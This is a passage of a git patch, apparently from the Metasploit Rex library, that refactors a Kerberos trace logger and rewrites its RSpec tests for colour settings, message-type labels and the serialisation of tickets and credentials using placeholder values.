-    context 'when KerberosTicketTrace is enabled' do
-      it 'logs AS-REP messages with default response color' do
-        subscriber.on_response(response)
-
-        expect(@output).to eq(normal_response_output)
+    context 'when KerberosTicketTraceColors is set to yel/' do
+      let(:trace_colors) { 'yel/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%yel{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs missing responses' do
-        subscriber.on_response(nil)
+      it 'uses the configured request color with a blank response color' do
+        log_request
 
-        expect(@output).to eq(nil_response_output)
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'blu/grn'
-        }
+    context 'when KerberosTicketTraceColors is set to /grn' do
+      let(:trace_colors) { '/grn' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'uses custom response color' do
-        subscriber.on_response(response)
+      it 'uses no request color when the request side is blank' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%grn{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => 'yel/'
-        }
+    context 'when KerberosTicketTraceColors is set to blu' do
+      let(:trace_colors) { 'blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'logs response without color formatting' do
-        subscriber.on_response(response)
+      it 'treats a single color as request-only' do
+        log_request
 
-        expect(@output[3]).to eq('%clr{')
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
-      let(:mock_datastore) do
-        {
-          'KerberosTicketTrace' => true,
-          'KerberosTicketTraceColors' => '/yel'
-        }
+    context 'when KerberosTicketTraceColors is set to /' do
+      let(:trace_colors) { '/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
       end
 
-      it 'uses the configured response color' do
-        subscriber.on_response(response)
+      it 'disables both request and response color prefixes' do
+        log_request
 
-        expect(@output[3]).to eq('%clr%bld%yel{')
+        expect(output_text).to eq(expected_output)
       end
     end
-  end
 
-  describe 'request message type mapping' do
-    {
-      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
-      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
-      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
-      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
-    }.each do |msg_type, msg_name|
-      it "maps request msg_type #{msg_type} to #{msg_name}" do
-        subscriber.on_request(build_kerberos_message(msg_type: msg_type))
+    context 'when KerberosTicketTraceColors is blank' do
+      let(:trace_colors) { '   ' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'falls back to default red/blu colors' do
+        log_request
 
-        expect(@output).to include("# Kerberos Request: #{msg_name}")
+        expect(output_text).to eq(expected_output)
       end
     end
-  end
 
-  describe 'response message type mapping' do
     {
       Rex::Proto::Kerberos::Model::AS_REP => 'AS-REP',
+      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
       Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
+      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
       Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
       Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
     }.each do |msg_type, msg_name|
-      it "maps response msg_type #{msg_type} to #{msg_name}" do
-        subscriber.on_response(build_kerberos_message(msg_type: msg_type))
-
-        expect(@output).to include("# Kerberos Response: #{msg_name}")
+      context "when request msg_type is #{msg_name}" do
+        let(:request_message) { build_kerberos_message(msg_type: msg_type) }
+        let(:expected_output) do
+          <<~EOF.rstrip
+            ####################
+            # Kerberos Request: #{msg_name}
+            ####################
+            %clr%bld%red{
+              "pvno": 5,
+              "msg_type": #{msg_type},
+              "crealm": "EXAMPLE.LOCAL"
+            }%clr
+          EOF
+        end
+
+        it 'maps message type to the expected label' do
+          log_request
+
+          expect(output_text).to eq(expected_output)
+        end
       end
     end
-  end
 
-  describe 'value serialization' do
-    context 'when serializing a binary string' do
-      let(:binary_preview) { '00' * 32 }
-      let(:request) do
+    context 'when serializing a binary string field' do
+      let(:binary_hex) { '00' * 40 }
+      let(:request_message) do
         build_kerberos_message(
           msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
           fields: { ticket: ("\x00".b * 40) }
         )
       end
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL",
+            "ticket": "[binary 40 bytes: #{binary_hex}]"
+          }%clr
+        EOF
+      end
 
-      it 'logs a bounded binary preview instead of raw data' do
-        subscriber.on_request(request)
+      it 'prints binary data as tagged hex bytes' do
+        log_request
 
-        expect(@output.any? { |line| line.include?("[binary 40 bytes: #{binary_preview}...]") }).to be(true)
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when serializing structured values' do
+    context 'when serializing structured scalar values' do
       let(:error_code) do
         double(
           'error_code',
@@ -303,30 +338,489 @@
           description: 'Message stream modified'
         )
       end
-
       let(:request_time) { Time.utc(2026, 3, 7, 12, 0, 0) }
-      let(:request) do
+      let(:kdc_options) do
+        Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags([
+          Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE,
+          Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE
+        ])
+      end
+      let(:request_message) do
         build_kerberos_message(
           msg_type: Rex::Proto::Kerberos::Model::KRB_ERROR,
           fields: {
             stime: request_time,
             tags: %i[ap error],
             metadata: { source: :kdc },
-            error_code: error_code
+            error_code: error_code,
+            options: kdc_options,
+            etype_set: Set.new([18, 17])
           }
         )
       end
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: KRB-ERROR
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::KRB_ERROR},
+            "crealm": "EXAMPLE.LOCAL",
+            "stime": "2026-03-07T12:00:00Z",
+            "tags": [
+              "ap",
+              "error"
+            ],
+            "metadata": {
+              "source": "kdc"
+            },
+            "error_code": {
+              "name": "KRB_AP_ERR_MODIFIED",
+              "value": 41,
+              "description": "Message stream modified"
+            },
+            "options": {
+              "value": #{kdc_options.to_i},
+              "flags": [
+                "FORWARDABLE",
+                "RENEWABLE"
+              ]
+            },
+            "etype_set": [
+              18,
+              17
+            ]
+          }%clr
+        EOF
+      end
+
+      it 'normalizes time, symbols, flags, sets and error code objects' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when serializing nested Kerberos model objects' do
+      let(:ticket) do
+        Rex::Proto::Kerberos::Model::Ticket.new(
+          tkt_vno: 5,
+          realm: 'EXAMPLE.LOCAL',
+          sname: Rex::Proto::Kerberos::Model::PrincipalName.new(
+            name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
+            name_string: %w[krbtgt EXAMPLE.LOCAL]
+          ),
+          enc_part: Rex::Proto::Kerberos::Model::EncryptedData.new(
+            etype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
+            kvno: 2,
+            cipher: "\x01\x02\x03".b
+          )
+        )
+      end
+      let(:request_message) do
+        build_kerberos_message(
+          msg_type: Rex::Proto::Kerberos::Model::AS_REP,
+          fields: { ticket: ticket }
+        )
+      end
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REP
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL",
+            "ticket": {
+              "tkt_vno": 5,
+              "realm": "EXAMPLE.LOCAL",
+              "sname": {
+                "name_type": #{Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST},
+                "name_string": [
+                  "krbtgt",
+                  "EXAMPLE.LOCAL"
+                ]
+              },
+              "enc_part": {
+                "etype": #{Rex::Proto::Kerberos::Crypto::Encryption::AES256},
+                "kvno": 2,
+                "cipher": "[binary 3 bytes: 010203]"
+              }
+            }
+          }%clr
+        EOF
+      end
+
+      it 'recursively serializes nested model attributes' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+  end
+
+  describe '#on_response' do
+    subject(:log_response) { subscriber.on_response(response_message) }
+
+    let(:response_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP) }
+
+    before do
+      capture_logging(logger)
+    end
+
+    context 'when KerberosTicketTrace is enabled with default colors' do
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'prints a colored response header and JSON payload' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when response is nil' do
+      let(:response_message) { nil }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: UNKNOWN
+          ####################
+          No response received
+        EOF
+      end
+
+      it 'prints a no-response message' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
+
+      it 'does not print anything' do
+        log_response
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when KerberosTicketTrace is nil' do
+      let(:trace_enabled) { nil }
+
+      it 'does not print anything' do
+        log_response
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when response msg_type is unknown' do
+      let(:response_message) { build_kerberos_message(msg_type: 31_337) }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: UNKNOWN (31337)
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": 31337,
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'prints UNKNOWN with the numeric msg_type' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when response object does not expose attributes' do
+      let(:response_message) { :raw_payload }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: UNKNOWN
+          ####################
+          %clr%bld%bluraw_payload%clr
+        EOF
+      end
+
+      it 'falls back to to_s formatting' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to red/blu' do
+      let(:trace_colors) { 'red/blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'uses the configured response color' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to yel/' do
+      let(:trace_colors) { 'yel/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'uses no response color when the response side is blank' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to /grn' do
+      let(:trace_colors) { '/grn' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr%bld%grn{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'uses the configured response color' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to blu' do
+      let(:trace_colors) { 'blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'treats a single color as request-only' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to /' do
+      let(:trace_colors) { '/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'disables both request and response color prefixes' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    {
+      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
+      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
+      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
+      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
+      Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
+      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
+    }.each do |msg_type, msg_name|
+      context "when response msg_type is #{msg_name}" do
+        let(:response_message) { build_kerberos_message(msg_type: msg_type) }
+        let(:expected_output) do
+          <<~EOF.rstrip
+            ####################
+            # Kerberos Response: #{msg_name}
+            ####################
+            %clr%bld%blu{
+              "pvno": 5,
+              "msg_type": #{msg_type},
+              "crealm": "EXAMPLE.LOCAL"
+            }%clr
+          EOF
+        end
+
+        it 'maps message type to the expected label' do
+          log_response
+
+          expect(output_text).to eq(expected_output)
+        end
+      end
+    end
+  end
+
+  describe '#on_credential' do
+    subject(:log_credential) { subscriber.on_credential(credential_to_log, source: source) }
+
+    let(:credential) { double('credential') }
+    let(:credential_to_log) { credential }
+    let(:source) { 'TGS' }
+    let(:presented_credential) do
+      <<~EOF.rstrip
+        Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
+        Client: Administrator@EXAMPLE.LOCAL
+        Ticket etype: 18 (AES256)
+        Key: deadbeef
+      EOF
+    end
+    let(:presenter) do
+      instance_double(
+        Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter,
+        present_cred: presented_credential
+      )
+    end
+
+    before do
+      capture_logging(logger)
+      allow(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter).to receive(:new).with(nil).and_return(presenter)
+    end
+
+    context 'when trace is enabled and credential is present' do
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Credential: TGS
+          ####################
+          Creds: 1
+            Credential[0]:
+              Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
+              Client: Administrator@EXAMPLE.LOCAL
+              Ticket etype: 18 (AES256)
+              Key: deadbeef
+        EOF
+      end
+
+      it 'prints presenter output under the credential header' do
+        log_credential
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when source is nil' do
+      let(:source) { nil }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Credential
+          ####################
+          Creds: 1
+            Credential[0]:
+              Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
+              Client: Administrator@EXAMPLE.LOCAL
+              Ticket etype: 18 (AES256)
+              Key: deadbeef
+        EOF
+      end
+
+      it 'omits the source suffix from the header' do
+        log_credential
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when credential is nil' do
+      let(:credential_to_log) { nil }
+
+      it 'does not print anything' do
+        log_credential
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
+
+      it 'does not print anything' do
+        log_credential
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when presenter raises an error' do
+      let(:presenter) { instance_double(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter) }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Credential: TGS
+          ####################
+          Credential presenter error: RuntimeError: boom
+        EOF
+      end
+
+      before do
+        allow(presenter).to receive(:present_cred).with(credential).and_raise(RuntimeError, 'boom')
+      end
 
-      it 'serializes time, symbols, hashes, arrays and error-code objects' do
-        subscriber.on_request(request)
+      it 'prints the presenter error message' do
+        log_credential
 
-        expect(@output).to include('  "stime": "2026-03-07T12:00:00Z",')
-        expect(@output).to include('    "ap",')
-        expect(@output).to include('    "error"')
-        expect(@output).to include('    "source": "kdc"')
-        expect(@output).to include('    "name": "KRB_AP_ERR_MODIFIED",')
-        expect(@output).to include('    "value": 41,')
-        expect(@output).to include('    "description": "Message stream modified"')
+        expect(output_text).to eq(expected_output)
       end
     end
   end

From 4a421a2a06b3941a04d2ef003f88ffe6588a2b89 Mon Sep 17 00:00:00 2001
From: cyan <1570302455@qq.com>
Date: Wed, 25 Mar 2026 00:17:23 -0700
Subject: [PATCH 102/103] Improve Kerberos readable trace formatting and spec

---
 .../kerberos/kerberos_logger_subscriber.rb    | 427 +++++++-----
 .../kerberos_readable_text_presenter.rb       |  98 +++
 lib/rex/proto/kerberos/kerberos_subscriber.rb |  38 +-
 .../msf/base/serializer/readable_text_spec.rb |   4 +
 .../kerberos_logger_subscriber_spec.rb        | 658 ++++++++----------
 5 files changed, 652 insertions(+), 573 deletions(-)
 create mode 100644 lib/rex/proto/kerberos/kerberos_readable_text_presenter.rb

diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
index bde33004aefd7..92509ea72e49d 100644
--- a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
@@ -1,215 +1,290 @@
 # -*- coding: binary -*-
 
-require 'json'
 require 'set'
 require 'time'
 require 'rex/proto/kerberos/model'
+require 'rex/proto/kerberos/crypto'
 require 'rex/proto/kerberos/kerberos_subscriber'
+require 'rex/proto/kerberos/kerberos_readable_text_presenter'
 require 'rex/proto/kerberos/credential_cache/krb5_ccache_presenter'
 
 module Rex
-module Proto
-module Kerberos
-
-  # Logs Kerberos requests/responses
-  class KerberosLoggerSubscriber < KerberosSubscriber
-    def initialize(logger:)
-      super()
-      raise RuntimeError, "Incompatible logger" unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
-      @logger = logger
-    end
+  module Proto
+    module Kerberos
+      # Logs Kerberos requests/responses
+      class KerberosLoggerSubscriber < KerberosSubscriber
+        def initialize(logger:)
+          super()
+          raise 'Incompatible logger' unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
 
-    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_request)
-    def on_request(request)
-      return unless trace_enabled?
+          @logger = logger
+        end
 
-      request_color, _response_color = trace_colors
-      print_header('Request', request)
-      @logger.print_line("%clr#{request_color}#{format_message(request)}%clr")
-    end
+        # (see Rex::Proto::Kerberos::KerberosSubscriber#on_request)
+        def on_request(request)
+          return unless trace_enabled?
 
-    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_response)
-    def on_response(response)
-      return unless trace_enabled?
+          request_color, _response_color = trace_colors
+          print_header('Request', request)
+          @logger.print_line("%clr#{request_color}#{format_message(request)}%clr")
+        end
 
-      _request_color, response_color = trace_colors
-      print_header('Response', response)
-      if response.nil?
-        @logger.print_line('No response received')
-        return
-      end
+        # (see Rex::Proto::Kerberos::KerberosSubscriber#on_response)
+        def on_response(response)
+          return unless trace_enabled?
 
-      @logger.print_line("%clr#{response_color}#{format_message(response)}%clr")
-    end
+          _request_color, response_color = trace_colors
+          print_header('Response', response)
+          if response.nil?
+            @logger.print_line('No response received')
+            return
+          end
 
-    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_credential)
-    def on_credential(credential, source: nil)
-      return unless trace_enabled?
-      return if credential.nil?
+          @logger.print_line("%clr#{response_color}#{format_message(response)}%clr")
+        end
 
-      print_credential_header(source)
-      @logger.print_line(format_credential(credential))
-    end
+        # (see Rex::Proto::Kerberos::KerberosSubscriber#on_credential)
+        def on_credential(credential, source: nil)
+          return unless trace_enabled?
+          return if credential.nil?
 
-    private
+          print_credential_header(source)
+          @logger.print_line(format_credential(credential))
+        end
 
-    def trace_enabled?
-      @logger.datastore['KerberosTicketTrace']
-    end
+        private
 
-    def trace_colors
-      configured_trace_colors = @logger.datastore['KerberosTicketTraceColors']
-      # Keep HttpTrace-compatible default formatting: request/response color pair.
-      trace_colors = blank_value?(configured_trace_colors) ? 'red/blu' : configured_trace_colors
-      trace_colors += '/' if trace_colors.count('/') == 0
-      trace_colors.gsub('/', ' / ').split('/').map do |color|
-        blank_value?(color&.strip) ? '' : "%bld%#{color.strip}"
-      end
-    end
+        def trace_enabled?
+          @logger.datastore['KerberosTicketTrace']
+        end
 
-    def print_header(direction, message)
-      @logger.print_line('#' * 20)
-      @logger.print_line("# Kerberos #{direction}: #{message_type_name(message)}")
-      @logger.print_line('#' * 20)
-    end
+        def trace_colors
+          configured_trace_colors = @logger.datastore['KerberosTicketTraceColors']
+          # Keep HttpTrace-compatible default formatting: request/response color pair.
+          trace_colors = blank_value?(configured_trace_colors) ? 'red/blu' : configured_trace_colors
+          trace_colors += '/' if trace_colors.count('/') == 0
+          trace_colors.gsub('/', ' / ').split('/').map do |color|
+            blank_value?(color&.strip) ? '' : "%bld%#{color.strip}"
+          end
+        end
 
-    def print_credential_header(source)
-      @logger.print_line('#' * 20)
-      @logger.print_line("# Kerberos Credential#{source ? ": #{source}" : ''}")
-      @logger.print_line('#' * 20)
-    end
+        def print_header(direction, message)
+          @logger.print_line('#' * 20)
+          @logger.print_line("# Kerberos #{direction}: #{message_type_name(message)}")
+          @logger.print_line('#' * 20)
+        end
 
-    def message_type_name(message)
-      msg_type = message.msg_type if message.respond_to?(:msg_type)
-      case msg_type
-      when Rex::Proto::Kerberos::Model::AS_REQ
-        'AS-REQ'
-      when Rex::Proto::Kerberos::Model::AS_REP
-        'AS-REP'
-      when Rex::Proto::Kerberos::Model::TGS_REQ
-        'TGS-REQ'
-      when Rex::Proto::Kerberos::Model::TGS_REP
-        'TGS-REP'
-      when Rex::Proto::Kerberos::Model::AP_REQ
-        'AP-REQ'
-      when Rex::Proto::Kerberos::Model::AP_REP
-        'AP-REP'
-      when Rex::Proto::Kerberos::Model::KRB_ERROR
-        'KRB-ERROR'
-      when nil
-        'UNKNOWN'
-      else
-        "UNKNOWN (#{msg_type})"
-      end
-    end
+        def print_credential_header(source)
+          @logger.print_line('#' * 20)
+          @logger.print_line("# Kerberos Credential#{source ? ": #{source}" : ''}")
+          @logger.print_line('#' * 20)
+        end
 
-    def format_message(message)
-      return 'null' if message.nil?
+        def message_type_name(message)
+          msg_type = message.msg_type if message.respond_to?(:msg_type)
+          case msg_type
+          when Rex::Proto::Kerberos::Model::AS_REQ
+            'AS-REQ'
+          when Rex::Proto::Kerberos::Model::AS_REP
+            'AS-REP'
+          when Rex::Proto::Kerberos::Model::TGS_REQ
+            'TGS-REQ'
+          when Rex::Proto::Kerberos::Model::TGS_REP
+            'TGS-REP'
+          when Rex::Proto::Kerberos::Model::AP_REQ
+            'AP-REQ'
+          when Rex::Proto::Kerberos::Model::AP_REP
+            'AP-REP'
+          when Rex::Proto::Kerberos::Model::KRB_ERROR
+            'KRB-ERROR'
+          when nil
+            'UNKNOWN'
+          else
+            "UNKNOWN (#{msg_type})"
+          end
+        end
 
-      if message.respond_to?(:attributes)
-        # Kerberos model objects are serialized into stable JSON for easier diffing/debugging.
-        JSON.pretty_generate(serialize_element(message))
-      else
-        # Fall back for non-model objects.
-        message.to_s
-      end
-    end
+        def format_message(message)
+          return 'null' if message.nil?
 
-    def format_credential(credential)
-      rendered_credential = ticket_presenter.present_cred(credential)
-      [
-        'Creds: 1',
-        "  Credential[0]:\n#{rendered_credential.indent(4)}"
-      ].join("\n")
-    rescue StandardError => e
-      "Credential presenter error: #{e.class}: #{e.message}"
-    end
+          if message.respond_to?(:attributes)
+            serialized_message = serialize_element(message)
+            readable_text_presenter.present(serialized_message)
+          else
+            # Fall back for non-model objects.
+            message.to_s
+          end
+        rescue StandardError => e
+          "Kerberos trace rendering error: #{e.class}: #{e.message}"
+        end
 
-    def serialize_element(element)
-      element.attributes.each_with_object({}) do |attribute, output|
-        value = element.public_send(attribute)
-        next if value.nil?
+        def format_credential(credential)
+          rendered_credential = ticket_presenter.present_cred(credential)
+          [
+            'Creds: 1',
+            "  Credential[0]:\n#{rendered_credential.indent(4)}"
+          ].join("\n")
+        rescue StandardError => e
+          "Credential presenter error: #{e.class}: #{e.message}"
+        end
 
-        output[attribute.to_s] = serialize_value(value)
-      end
-    end
+        def serialize_element(element)
+          element.attributes.each_with_object({}) do |attribute, output|
+            value = element.public_send(attribute)
+            next if value.nil?
 
-    def serialize_value(value)
-      if value.respond_to?(:attributes)
-        # Recursively serialize nested Kerberos model objects.
-        serialize_element(value)
-      elsif kerberos_error_code?(value)
-        # Normalize ErrorCode-like objects to a compact structured form.
-        {
-          'name' => value.name,
-          'value' => value.value,
-          'description' => value.description
-        }
-      else
-        serialize_scalar_value(value)
-      end
-    end
+            output[attribute.to_s] = serialize_value(value, element: element, attribute: attribute.to_sym)
+          end
+        end
 
-    def serialize_scalar_value(value)
-      case value
-      when Array
-        value.map { |entry| serialize_value(entry) }
-      when Set
-        value.to_a.map { |entry| serialize_value(entry) }
-      when Hash
-        value.each_with_object({}) do |(key, entry), output|
-          output[key.to_s] = serialize_value(entry)
-        end
-      when Rex::Proto::Kerberos::Model::KerberosFlags
-        {
-          'value' => value.to_i,
-          'flags' => value.enabled_flag_names.map(&:to_s)
-        }
-      when Time
-        value.utc.iso8601
-      when String
-        serialize_string(value)
-      when Symbol
-        value.to_s
-      when Integer, Float, TrueClass, FalseClass, NilClass
-        value
-      else
-        value.to_s
-      end
-    end
+        def serialize_value(value, element: nil, attribute: nil)
+          if value.respond_to?(:attributes)
+            # Recursively serialize nested Kerberos model objects.
+            serialize_element(value)
+          elsif kerberos_error_code?(value)
+            # Normalize ErrorCode-like objects to a compact structured form.
+            {
+              'name' => value.name,
+              'value' => value.value,
+              'description' => value.description
+            }
+          else
+            serialize_scalar_value(value, element: element, attribute: attribute)
+          end
+        end
 
-    def kerberos_error_code?(value)
-      value.respond_to?(:name) && value.respond_to?(:value) && value.respond_to?(:description)
-    end
+        def serialize_scalar_value(value, element: nil, attribute: nil)
+          case value
+          when Array
+            value.map { |entry| serialize_value(entry, element: element, attribute: attribute) }
+          when Set
+            value.to_a.map { |entry| serialize_value(entry, element: element, attribute: attribute) }
+          when Hash
+            value.each_with_object({}) do |(key, entry), output|
+              output[key.to_s] = serialize_value(entry)
+            end
+          when Rex::Proto::Kerberos::Model::KerberosFlags
+            {
+              'value' => value.to_i,
+              'flags' => value.enabled_flag_names.map(&:to_s)
+            }
+          when Time
+            value.utc.iso8601
+          when String
+            serialize_string(value)
+          when Symbol
+            value.to_s
+          when Integer
+            serialize_enum_value(value, element: element, attribute: attribute) || value
+          when Float, TrueClass, FalseClass, NilClass
+            value
+          else
+            value.to_s
+          end
+        end
 
-    def serialize_string(value)
-      return value if printable_string?(value)
+        def serialize_enum_value(value, element:, attribute:)
+          enum_name = case attribute
+                      when :msg_type
+                        message_type_name_for_value(value)
+                      when :type
+                        enum_type_name(value, element)
+                      when :etype
+                        enum_etype_name(value)
+                      when :name_type
+                        enum_name_type_name(value, element)
+                      else
+                        nil
+                      end
+          return nil if enum_name.nil?
 
-      # Expand binary/non-printable strings fully in hex.
-      "[binary #{value.bytesize} bytes: #{value.unpack1('H*')}]"
-    end
+          "#{value} (#{enum_name})"
+        end
 
-    def ticket_presenter
-      @ticket_presenter ||= Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(nil)
-    end
+        def message_type_name_for_value(msg_type)
+          case msg_type
+          when Rex::Proto::Kerberos::Model::AS_REQ
+            'AS-REQ'
